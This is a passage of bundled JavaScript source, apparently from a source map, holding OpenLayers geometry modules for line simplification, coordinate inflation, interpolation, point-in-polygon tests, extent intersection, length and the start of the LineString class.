simplifiedEnds.push(simplifiedOffset);\n offset = end;\n }\n return simplifiedOffset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @param {Array<Array<number>>} simplifiedEndss Simplified endss.\n * @return {number} Simplified offset.\n */\nexport function douglasPeuckerMultiArray(flatCoordinates, offset, endss, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEndss) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n var simplifiedEnds = [];\n simplifiedOffset = douglasPeuckerArray(flatCoordinates, offset, ends, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEnds);\n simplifiedEndss.push(simplifiedEnds);\n offset = ends[ends.length - 1];\n }\n return simplifiedOffset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} squaredTolerance Squared tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @return {number} Simplified offset.\n */\nexport function radialDistance(flatCoordinates, offset, end, stride, squaredTolerance, simplifiedFlatCoordinates, simplifiedOffset) {\n if (end <= offset + stride) {\n // zero or one point, no simplification possible, so copy and return\n for (; offset < end; offset += stride) {\n simplifiedFlatCoordinates[simplifiedOffset++] = flatCoordinates[offset];\n simplifiedFlatCoordinates[simplifiedOffset++] =\n flatCoordinates[offset + 1];\n }\n return simplifiedOffset;\n }\n var x1 = flatCoordinates[offset];\n var y1 = flatCoordinates[offset + 1];\n // copy first point\n simplifiedFlatCoordinates[simplifiedOffset++] = x1;\n simplifiedFlatCoordinates[simplifiedOffset++] = y1;\n var x2 = x1;\n var y2 = y1;\n for (offset += stride; offset < end; offset += stride) {\n x2 = flatCoordinates[offset];\n y2 = flatCoordinates[offset + 1];\n if (squaredDistance(x1, y1, x2, y2) > squaredTolerance) {\n // copy point at offset\n simplifiedFlatCoordinates[simplifiedOffset++] = x2;\n simplifiedFlatCoordinates[simplifiedOffset++] = y2;\n x1 = x2;\n y1 = y2;\n }\n }\n if (x2 != x1 || y2 != y1) {\n // copy last point\n simplifiedFlatCoordinates[simplifiedOffset++] = x2;\n simplifiedFlatCoordinates[simplifiedOffset++] = y2;\n }\n return simplifiedOffset;\n}\n/**\n * @param {number} value Value.\n * @param {number} tolerance Tolerance.\n * @return {number} Rounded value.\n */\nexport function snap(value, tolerance) {\n return tolerance * Math.round(value / tolerance);\n}\n/**\n * Simplifies a line string using an algorithm designed by Tim Schaub.\n * Coordinates are snapped to the nearest value in a virtual grid and\n * consecutive duplicate coordinates are discarded. This effectively preserves\n * topology as the simplification of any subsection of a line string is\n * independent of the rest of the line string. This means that, for examples,\n * the common edge between two polygons will be simplified to the same line\n * string independently in both polygons. This implementation uses a single\n * pass over the coordinates and eliminates intermediate collinear points.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} tolerance Tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @return {number} Simplified offset.\n */\nexport function quantize(flatCoordinates, offset, end, stride, tolerance, simplifiedFlatCoordinates, simplifiedOffset) {\n // do nothing if the line is empty\n if (offset == end) {\n return simplifiedOffset;\n }\n // snap the first coordinate (P1)\n var x1 = snap(flatCoordinates[offset], tolerance);\n var y1 = snap(flatCoordinates[offset + 1], tolerance);\n offset += stride;\n // add the first coordinate to the output\n simplifiedFlatCoordinates[simplifiedOffset++] = x1;\n simplifiedFlatCoordinates[simplifiedOffset++] = y1;\n // find the next coordinate that does not snap to the same value as the first\n // coordinate (P2)\n var x2, y2;\n do {\n x2 = snap(flatCoordinates[offset], tolerance);\n y2 = snap(flatCoordinates[offset + 1], tolerance);\n offset += stride;\n if (offset == end) {\n // all coordinates snap to the same value, the line collapses to a point\n // push the last snapped value anyway to ensure that the output contains\n // at least two points\n // FIXME should we really return at least two points anyway?\n simplifiedFlatCoordinates[simplifiedOffset++] = x2;\n simplifiedFlatCoordinates[simplifiedOffset++] = y2;\n return simplifiedOffset;\n }\n } while (x2 == x1 && y2 == y1);\n while (offset < end) {\n // snap the next coordinate (P3)\n var x3 = snap(flatCoordinates[offset], tolerance);\n var y3 = snap(flatCoordinates[offset + 1], tolerance);\n offset += stride;\n // skip P3 if it is equal to P2\n if (x3 == x2 && y3 == y2) {\n continue;\n }\n // calculate the delta between P1 and P2\n var dx1 = x2 - x1;\n var dy1 = y2 - y1;\n // calculate the delta between P3 and P1\n var dx2 = x3 - x1;\n var dy2 = y3 - y1;\n // if P1, P2, and P3 are colinear and P3 is further from P1 than P2 is from\n // P1 in the same direction then P2 is on the straight line between P1 and\n // P3\n if (dx1 * dy2 == dy1 * dx2 &&\n ((dx1 < 0 && dx2 < dx1) || dx1 == dx2 || (dx1 > 0 && dx2 > dx1)) &&\n ((dy1 < 0 && dy2 < dy1) || dy1 == dy2 || (dy1 > 0 && dy2 > dy1))) {\n // discard P2 and set P2 = P3\n x2 = x3;\n y2 = y3;\n continue;\n }\n // either P1, P2, and P3 are not colinear, or they are colinear but P3 is\n // between P3 and P1 or on the opposite half of the line to P2. add P2,\n // and continue with P1 = P2 and P2 = P3\n simplifiedFlatCoordinates[simplifiedOffset++] = x2;\n simplifiedFlatCoordinates[simplifiedOffset++] = y2;\n x1 = x2;\n y1 = y2;\n x2 = x3;\n y2 = y3;\n }\n // add the last point (P2)\n simplifiedFlatCoordinates[simplifiedOffset++] = x2;\n simplifiedFlatCoordinates[simplifiedOffset++] = y2;\n return simplifiedOffset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} tolerance Tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @param {Array<number>} simplifiedEnds Simplified ends.\n * @return {number} Simplified offset.\n */\nexport function quantizeArray(flatCoordinates, offset, ends, stride, tolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEnds) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n simplifiedOffset = quantize(flatCoordinates, offset, end, stride, tolerance, simplifiedFlatCoordinates, simplifiedOffset);\n simplifiedEnds.push(simplifiedOffset);\n offset = end;\n }\n return simplifiedOffset;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {number} tolerance Tolerance.\n * @param {Array<number>} simplifiedFlatCoordinates Simplified flat\n * coordinates.\n * @param {number} simplifiedOffset Simplified offset.\n * @param {Array<Array<number>>} simplifiedEndss Simplified endss.\n * @return {number} Simplified offset.\n */\nexport function quantizeMultiArray(flatCoordinates, offset, endss, stride, tolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEndss) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n var simplifiedEnds = [];\n simplifiedOffset = quantizeArray(flatCoordinates, offset, ends, stride, tolerance, simplifiedFlatCoordinates, simplifiedOffset, simplifiedEnds);\n simplifiedEndss.push(simplifiedEnds);\n offset = ends[ends.length - 1];\n }\n return simplifiedOffset;\n}\n//# sourceMappingURL=simplify.js.map","/**\n * @module ol/geom/flat/segments\n */\n/**\n * This function calls `callback` for each segment of the flat coordinates\n * array. If the callback returns a truthy value the function returns that\n * value immediately. Otherwise the function returns `false`.\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {function(import(\"../../coordinate.js\").Coordinate, import(\"../../coordinate.js\").Coordinate): T} callback Function\n * called for each segment.\n * @return {T|boolean} Value.\n * @template T\n */\nexport function forEach(flatCoordinates, offset, end, stride, callback) {\n var ret;\n offset += stride;\n for (; offset < end; offset += stride) {\n ret = callback(flatCoordinates.slice(offset - stride, offset), flatCoordinates.slice(offset, offset + stride));\n if (ret) {\n return ret;\n }\n }\n return false;\n}\n//# sourceMappingURL=segments.js.map","/**\n * @module ol/geom/flat/inflate\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {Array<import(\"../../coordinate.js\").Coordinate>} [opt_coordinates] Coordinates.\n * @return {Array<import(\"../../coordinate.js\").Coordinate>} Coordinates.\n */\nexport function inflateCoordinates(flatCoordinates, offset, end, stride, opt_coordinates) {\n var coordinates = opt_coordinates !== undefined ? opt_coordinates : [];\n var i = 0;\n for (var j = offset; j < end; j += stride) {\n coordinates[i++] = flatCoordinates.slice(j, j + stride);\n }\n coordinates.length = i;\n return coordinates;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {Array<Array<import(\"../../coordinate.js\").Coordinate>>} [opt_coordinatess] Coordinatess.\n * @return {Array<Array<import(\"../../coordinate.js\").Coordinate>>} Coordinatess.\n */\nexport function inflateCoordinatesArray(flatCoordinates, offset, ends, stride, opt_coordinatess) {\n var coordinatess = opt_coordinatess !== undefined ? opt_coordinatess : [];\n var i = 0;\n for (var j = 0, jj = ends.length; j < jj; ++j) {\n var end = ends[j];\n coordinatess[i++] = inflateCoordinates(flatCoordinates, offset, end, stride, coordinatess[i]);\n offset = end;\n }\n coordinatess.length = i;\n return coordinatess;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {Array<Array<Array<import(\"../../coordinate.js\").Coordinate>>>} [opt_coordinatesss]\n * Coordinatesss.\n * @return {Array<Array<Array<import(\"../../coordinate.js\").Coordinate>>>} Coordinatesss.\n */\nexport function inflateMultiCoordinatesArray(flatCoordinates, offset, endss, stride, opt_coordinatesss) {\n var coordinatesss = opt_coordinatesss !== undefined ? opt_coordinatesss : [];\n var i = 0;\n for (var j = 0, jj = endss.length; j < jj; ++j) {\n var ends = endss[j];\n coordinatesss[i++] = inflateCoordinatesArray(flatCoordinates, offset, ends, stride, coordinatesss[i]);\n offset = ends[ends.length - 1];\n }\n coordinatesss.length = i;\n return coordinatesss;\n}\n//# sourceMappingURL=inflate.js.map","/**\n * @module ol/geom/flat/interpolate\n */\nimport { binarySearch } from '../../array.js';\nimport { lerp } from '../../math.js';\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} fraction Fraction.\n * @param {Array<number>} [opt_dest] Destination.\n * @param {number} [opt_dimension] Destination dimension (default is `2`)\n * @return {Array<number>} Destination.\n */\nexport function interpolatePoint(flatCoordinates, offset, end, stride, fraction, opt_dest, opt_dimension) {\n var o, t;\n var n = (end - offset) / stride;\n if (n === 1) {\n o = offset;\n }\n else if (n === 2) {\n o = offset;\n t = fraction;\n }\n else if (n !== 0) {\n var x1 = flatCoordinates[offset];\n var y1 = flatCoordinates[offset + 1];\n var length_1 = 0;\n var cumulativeLengths = [0];\n for (var i = offset + stride; i < end; i += stride) {\n var x2 = flatCoordinates[i];\n var y2 = flatCoordinates[i + 1];\n length_1 += Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1));\n cumulativeLengths.push(length_1);\n x1 = x2;\n y1 = y2;\n }\n var target = fraction * length_1;\n var index = binarySearch(cumulativeLengths, target);\n if (index < 0) {\n t =\n (target - cumulativeLengths[-index - 2]) /\n (cumulativeLengths[-index - 1] - cumulativeLengths[-index - 2]);\n o = offset + (-index - 2) * stride;\n }\n else {\n o = offset + index * stride;\n }\n }\n var dimension = opt_dimension > 1 ? opt_dimension : 2;\n var dest = opt_dest ? opt_dest : new Array(dimension);\n for (var i = 0; i < dimension; ++i) {\n dest[i] =\n o === undefined\n ? NaN\n : t === undefined\n ? flatCoordinates[o + i]\n : lerp(flatCoordinates[o + i], flatCoordinates[o + stride + i], t);\n }\n return dest;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} m M.\n * @param {boolean} extrapolate Extrapolate.\n * @return {import(\"../../coordinate.js\").Coordinate|null} Coordinate.\n */\nexport function lineStringCoordinateAtM(flatCoordinates, offset, end, stride, m, extrapolate) {\n if (end == offset) {\n return null;\n }\n var coordinate;\n if (m < flatCoordinates[offset + stride - 1]) {\n if (extrapolate) {\n coordinate = flatCoordinates.slice(offset, offset + stride);\n coordinate[stride - 1] = m;\n return coordinate;\n }\n else {\n return null;\n }\n }\n else if (flatCoordinates[end - 1] < m) {\n if (extrapolate) {\n coordinate = flatCoordinates.slice(end - stride, end);\n coordinate[stride - 1] = m;\n return coordinate;\n }\n else {\n return null;\n }\n }\n // FIXME use O(1) search\n if (m == flatCoordinates[offset + stride - 1]) {\n return flatCoordinates.slice(offset, offset + stride);\n }\n var lo = offset / stride;\n var hi = end / stride;\n while (lo < hi) {\n var mid = (lo + hi) >> 1;\n if (m < flatCoordinates[(mid + 1) * stride - 1]) {\n hi = mid;\n }\n else {\n lo = mid + 1;\n }\n }\n var m0 = flatCoordinates[lo * stride - 1];\n if (m == m0) {\n return flatCoordinates.slice((lo - 1) * stride, (lo - 1) * stride + stride);\n }\n var m1 = flatCoordinates[(lo + 1) * stride - 1];\n var t = (m - m0) / (m1 - m0);\n coordinate = [];\n for (var i = 0; i < stride - 1; ++i) {\n coordinate.push(lerp(flatCoordinates[(lo - 1) * stride + i], flatCoordinates[lo * stride + i], t));\n }\n coordinate.push(m);\n return coordinate;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} m M.\n * @param {boolean} extrapolate Extrapolate.\n * @param {boolean} interpolate Interpolate.\n * @return {import(\"../../coordinate.js\").Coordinate|null} Coordinate.\n */\nexport function lineStringsCoordinateAtM(flatCoordinates, offset, ends, stride, m, extrapolate, interpolate) {\n if (interpolate) {\n return lineStringCoordinateAtM(flatCoordinates, offset, ends[ends.length - 1], stride, m, extrapolate);\n }\n var coordinate;\n if (m < flatCoordinates[stride - 1]) {\n if (extrapolate) {\n coordinate = flatCoordinates.slice(0, stride);\n coordinate[stride - 1] = m;\n return coordinate;\n }\n else {\n return null;\n }\n }\n if (flatCoordinates[flatCoordinates.length - 1] < m) {\n if (extrapolate) {\n coordinate = flatCoordinates.slice(flatCoordinates.length - stride);\n coordinate[stride - 1] = m;\n return coordinate;\n }\n else {\n return null;\n }\n }\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n var end = ends[i];\n if (offset == end) {\n continue;\n }\n if (m < flatCoordinates[offset + stride - 1]) {\n return null;\n }\n else if (m <= flatCoordinates[end - 1]) {\n return lineStringCoordinateAtM(flatCoordinates, offset, end, stride, m, false);\n }\n offset = end;\n }\n return null;\n}\n//# sourceMappingURL=interpolate.js.map","/**\n * @module ol/geom/flat/contains\n */\nimport { forEachCorner } from '../../extent.js';\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} Contains extent.\n */\nexport function linearRingContainsExtent(flatCoordinates, offset, end, stride, extent) {\n var outside = forEachCorner(extent, \n /**\n * @param {import(\"../../coordinate.js\").Coordinate} coordinate Coordinate.\n * @return {boolean} Contains (x, y).\n */\n function (coordinate) {\n return !linearRingContainsXY(flatCoordinates, offset, end, stride, coordinate[0], coordinate[1]);\n });\n return !outside;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\nexport function linearRingContainsXY(flatCoordinates, offset, end, stride, x, y) {\n // https://geomalgorithms.com/a03-_inclusion.html\n // Copyright 2000 softSurfer, 2012 Dan Sunday\n // This code may be freely used and modified for any purpose\n // providing that this copyright notice is included with it.\n // SoftSurfer makes no warranty for this code, and cannot be held\n // liable for any real or imagined damage resulting from its use.\n // Users of this code must verify correctness for their application.\n var wn = 0;\n var x1 = flatCoordinates[end - stride];\n var y1 = flatCoordinates[end - stride + 1];\n for (; offset < end; offset += stride) {\n var x2 = flatCoordinates[offset];\n var y2 = flatCoordinates[offset + 1];\n if (y1 <= y) {\n if (y2 > y && (x2 - x1) * (y - y1) - (x - x1) * (y2 - y1) > 0) {\n wn++;\n }\n }\n else if (y2 <= y && (x2 - x1) * (y - y1) - (x - x1) * (y2 - y1) < 0) {\n wn--;\n }\n x1 = x2;\n y1 = y2;\n }\n return wn !== 0;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\nexport function linearRingsContainsXY(flatCoordinates, offset, ends, stride, x, y) {\n if (ends.length === 0) {\n return false;\n }\n if (!linearRingContainsXY(flatCoordinates, offset, ends[0], stride, x, y)) {\n return false;\n }\n for (var i = 1, ii = ends.length; i < ii; ++i) {\n if (linearRingContainsXY(flatCoordinates, ends[i - 1], ends[i], stride, x, y)) {\n return false;\n }\n }\n return true;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {number} x X.\n * @param {number} y Y.\n * @return {boolean} Contains (x, y).\n */\nexport function linearRingssContainsXY(flatCoordinates, offset, endss, stride, x, y) {\n if (endss.length === 0) {\n return false;\n }\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n if (linearRingsContainsXY(flatCoordinates, offset, ends, stride, x, y)) {\n return true;\n }\n offset = ends[ends.length - 1];\n }\n return false;\n}\n//# sourceMappingURL=contains.js.map","/**\n * @module ol/geom/flat/intersectsextent\n */\nimport { containsExtent, createEmpty, extendFlatCoordinates, intersects, intersectsSegment, } from '../../extent.js';\nimport { forEach as forEachSegment } from './segments.js';\nimport { linearRingContainsExtent, linearRingContainsXY } from './contains.js';\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} True if the geometry and the extent intersect.\n */\nexport function intersectsLineString(flatCoordinates, offset, end, stride, extent) {\n var coordinatesExtent = extendFlatCoordinates(createEmpty(), flatCoordinates, offset, end, stride);\n if (!intersects(extent, coordinatesExtent)) {\n return false;\n }\n if (containsExtent(extent, coordinatesExtent)) {\n return true;\n }\n if (coordinatesExtent[0] >= extent[0] && coordinatesExtent[2] <= extent[2]) {\n return true;\n }\n if (coordinatesExtent[1] >= extent[1] && coordinatesExtent[3] <= extent[3]) {\n return true;\n }\n return forEachSegment(flatCoordinates, offset, end, stride, \n /**\n * @param {import(\"../../coordinate.js\").Coordinate} point1 Start point.\n * @param {import(\"../../coordinate.js\").Coordinate} point2 End point.\n * @return {boolean} `true` if the segment and the extent intersect,\n * `false` otherwise.\n */\n function (point1, point2) {\n return intersectsSegment(extent, point1, point2);\n });\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} True if the geometry and the extent intersect.\n */\nexport function intersectsLineStringArray(flatCoordinates, offset, ends, stride, extent) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n if (intersectsLineString(flatCoordinates, offset, ends[i], stride, extent)) {\n return true;\n }\n offset = ends[i];\n }\n return false;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} True if the geometry and the extent intersect.\n */\nexport function intersectsLinearRing(flatCoordinates, offset, end, stride, extent) {\n if (intersectsLineString(flatCoordinates, offset, end, stride, extent)) {\n return true;\n }\n if (linearRingContainsXY(flatCoordinates, offset, end, stride, extent[0], extent[1])) {\n return true;\n }\n if (linearRingContainsXY(flatCoordinates, offset, end, stride, extent[0], extent[3])) {\n return true;\n }\n if (linearRingContainsXY(flatCoordinates, offset, end, stride, extent[2], extent[1])) {\n return true;\n }\n if (linearRingContainsXY(flatCoordinates, offset, end, stride, extent[2], extent[3])) {\n return true;\n }\n return false;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} True if the geometry and the extent intersect.\n */\nexport function intersectsLinearRingArray(flatCoordinates, offset, ends, stride, extent) {\n if (!intersectsLinearRing(flatCoordinates, offset, ends[0], stride, extent)) {\n return false;\n }\n if (ends.length === 1) {\n return true;\n }\n for (var i = 1, ii = ends.length; i < ii; ++i) {\n if (linearRingContainsExtent(flatCoordinates, ends[i - 1], ends[i], stride, extent)) {\n if (!intersectsLineString(flatCoordinates, ends[i - 1], ends[i], stride, extent)) {\n return false;\n }\n }\n }\n return true;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<Array<number>>} endss Endss.\n * @param {number} stride Stride.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @return {boolean} True if the geometry and the extent intersect.\n */\nexport function intersectsLinearRingMultiArray(flatCoordinates, offset, endss, stride, extent) {\n for (var i = 0, ii = endss.length; i < ii; ++i) {\n var ends = endss[i];\n if (intersectsLinearRingArray(flatCoordinates, offset, ends, stride, extent)) {\n return true;\n }\n offset = ends[ends.length - 1];\n }\n return false;\n}\n//# sourceMappingURL=intersectsextent.js.map","/**\n * @module ol/geom/flat/length\n */\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {number} Length.\n */\nexport function lineStringLength(flatCoordinates, offset, end, stride) {\n var x1 = flatCoordinates[offset];\n var y1 = flatCoordinates[offset + 1];\n var length = 0;\n for (var i = offset + stride; i < end; i += stride) {\n var x2 = flatCoordinates[i];\n var y2 = flatCoordinates[i + 1];\n length += Math.sqrt((x2 - x1) * (x2 - x1) + (y2 - y1) * (y2 - y1));\n x1 = x2;\n y1 = y2;\n }\n return length;\n}\n/**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @return {number} Perimeter.\n */\nexport function linearRingLength(flatCoordinates, offset, end, stride) {\n var perimeter = lineStringLength(flatCoordinates, offset, end, stride);\n var dx = flatCoordinates[end - stride] - flatCoordinates[offset];\n var dy = flatCoordinates[end - stride + 1] - flatCoordinates[offset + 1];\n perimeter += Math.sqrt(dx * dx + dy * dy);\n return perimeter;\n}\n//# sourceMappingURL=length.js.map","var __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\n/**\n * @module ol/geom/LineString\n */\nimport GeometryLayout from './GeometryLayout.js';\nimport SimpleGeometry from './SimpleGeometry.js';\nimport { assignClosestPoint, maxSquaredDelta } from './flat/closest.js';\nimport { closestSquaredDistanceXY } from '../extent.js';\nimport { deflateCoordinates } from './flat/deflate.js';\nimport { douglasPeucker } from './flat/simplify.js';\nimport { extend } from '../array.js';\nimport { forEach as forEachSegment } from './flat/segments.js';\nimport { inflateCoordinates } from './flat/inflate.js';\nimport { interpolatePoint, lineStringCoordinateAtM } from './flat/interpolate.js';\nimport { intersectsLineString } from './flat/intersectsextent.js';\nimport { lineStringLength } from './flat/length.js';\n/**\n * @classdesc\n * Linestring geometry.\n *\n * @api\n */\nvar LineString = /** @class */ (function (_super) {\n __extends(LineString, _super);\n /**\n * @param {Array<import(\"../coordinate.js\").Coordinate>|Array<number>} coordinates Coordinates.\n * For internal use, flat coordinates in combination with `opt_layout` are also accepted.\n * @param {import(\"./GeometryLayout.js\").default} [opt_layout] Layout.\n */\n function LineString(coordinates, opt_layout) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {import(\"../coordinate.js\").Coordinate}\n */\n _this.flatMidpoint_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.flatMidpointRevision_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDelta_ = -1;\n /**\n * @private\n * @type {number}\n */\n _this.maxDeltaRevision_ = -1;\n if (opt_layout !== undefined && !Array.isArray(coordinates[0])) {\n _this.setFlatCoordinates(opt_layout, \n /** @type {Array<number>} */ (coordinates));\n }\n else {\n _this.setCoordinates(\n /** @type {Array<import(\"../coordinate.js\").Coordinate>} */ (coordinates), opt_layout);\n }\n return _this;\n }\n /**\n * Append the passed coordinate to the coordinates of the linestring.\n * @param {import(\"../coordinate.js\").Coordinate} coordinate Coordinate.\n * @api\n */\n LineString.prototype.appendCoordinate = function (coordinate) {\n if (!this.flatCoordinates) {\n this.flatCoordinates = coordinate.slice();\n }\n else {\n extend(this.flatCoordinates, coordinate);\n }\n this.changed();\n };\n /**\n * Make a complete copy of the geometry.\n * @return {!LineString} Clone.\n * @api\n */\n LineString.prototype.clone = function () {\n var lineString = new LineString(this.flatCoordinates.slice(), this.layout);\n lineString.applyProperties(this);\n return lineString;\n };\n /**\n * @param {number} x X.\n * @param {number} y Y.\n * @param {import(\"../coordinate.js\").Coordinate} closestPoint Closest point.\n * @param {number} minSquaredDistance Minimum squared distance.\n * @return {number} Minimum squared distance.\n */\n LineString.prototype.closestPointXY = function (x, y, closestPoint, minSquaredDistance) {\n if (minSquaredDistance < closestSquaredDistanceXY(this.getExtent(), x, y)) {\n return minSquaredDistance;\n }\n if (this.maxDeltaRevision_ != this.getRevision()) {\n this.maxDelta_ = Math.sqrt(maxSquaredDelta(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, 0));\n this.maxDeltaRevision_ = this.getRevision();\n }\n return assignClosestPoint(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, this.maxDelta_, false, x, y, closestPoint, minSquaredDistance);\n };\n /**\n * Iterate over each segment, calling the provided callback.\n * If the callback returns a truthy value the function returns that\n * value immediately. Otherwise the function returns `false`.\n *\n * @param {function(this: S, import(\"../coordinate.js\").Coordinate, import(\"../coordinate.js\").Coordinate): T} callback Function\n * called for each segment. The function will receive two arguments, the start and end coordinates of the segment.\n * @return {T|boolean} Value.\n * @template T,S\n * @api\n */\n LineString.prototype.forEachSegment = function (callback) {\n return forEachSegment(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, callback);\n };\n /**\n * Returns the coordinate at `m` using linear interpolation, or `null` if no\n * such coordinate exists.\n *\n * `opt_extrapolate` controls extrapolation beyond the range of Ms in the\n * MultiLineString. If `opt_extrapolate` is `true` then Ms less than the first\n * M will return the first coordinate and Ms greater than the last M will\n * return the last coordinate.\n *\n * @param {number} m M.\n * @param {boolean} [opt_extrapolate] Extrapolate. Default is `false`.\n * @return {import(\"../coordinate.js\").Coordinate|null} Coordinate.\n * @api\n */\n LineString.prototype.getCoordinateAtM = function (m, opt_extrapolate) {\n if (this.layout != GeometryLayout.XYM &&\n this.layout != GeometryLayout.XYZM) {\n return null;\n }\n var extrapolate = opt_extrapolate !== undefined ? opt_extrapolate : false;\n return lineStringCoordinateAtM(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, m, extrapolate);\n };\n /**\n * Return the coordinates of the linestring.\n * @return {Array<import(\"../coordinate.js\").Coordinate>} Coordinates.\n * @api\n */\n LineString.prototype.getCoordinates = function () {\n return inflateCoordinates(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride);\n };\n /**\n * Return the coordinate at the provided fraction along the linestring.\n * The `fraction` is a number between 0 and 1, where 0 is the start of the\n * linestring and 1 is the end.\n * @param {number} fraction Fraction.\n * @param {import(\"../coordinate.js\").Coordinate} [opt_dest] Optional coordinate whose values will\n * be modified. If not provided, a new coordinate will be returned.\n * @return {import(\"../coordinate.js\").Coordinate} Coordinate of the interpolated point.\n * @api\n */\n LineString.prototype.getCoordinateAt = function (fraction, opt_dest) {\n return interpolatePoint(this.flatCoordinates, 0, this.flatCoordinates.length, this.stride, fraction, opt_dest, this.stride);\n };\n /**\n * Return the length of the linestring on projected plane.\n * @return {number} Length (on projected 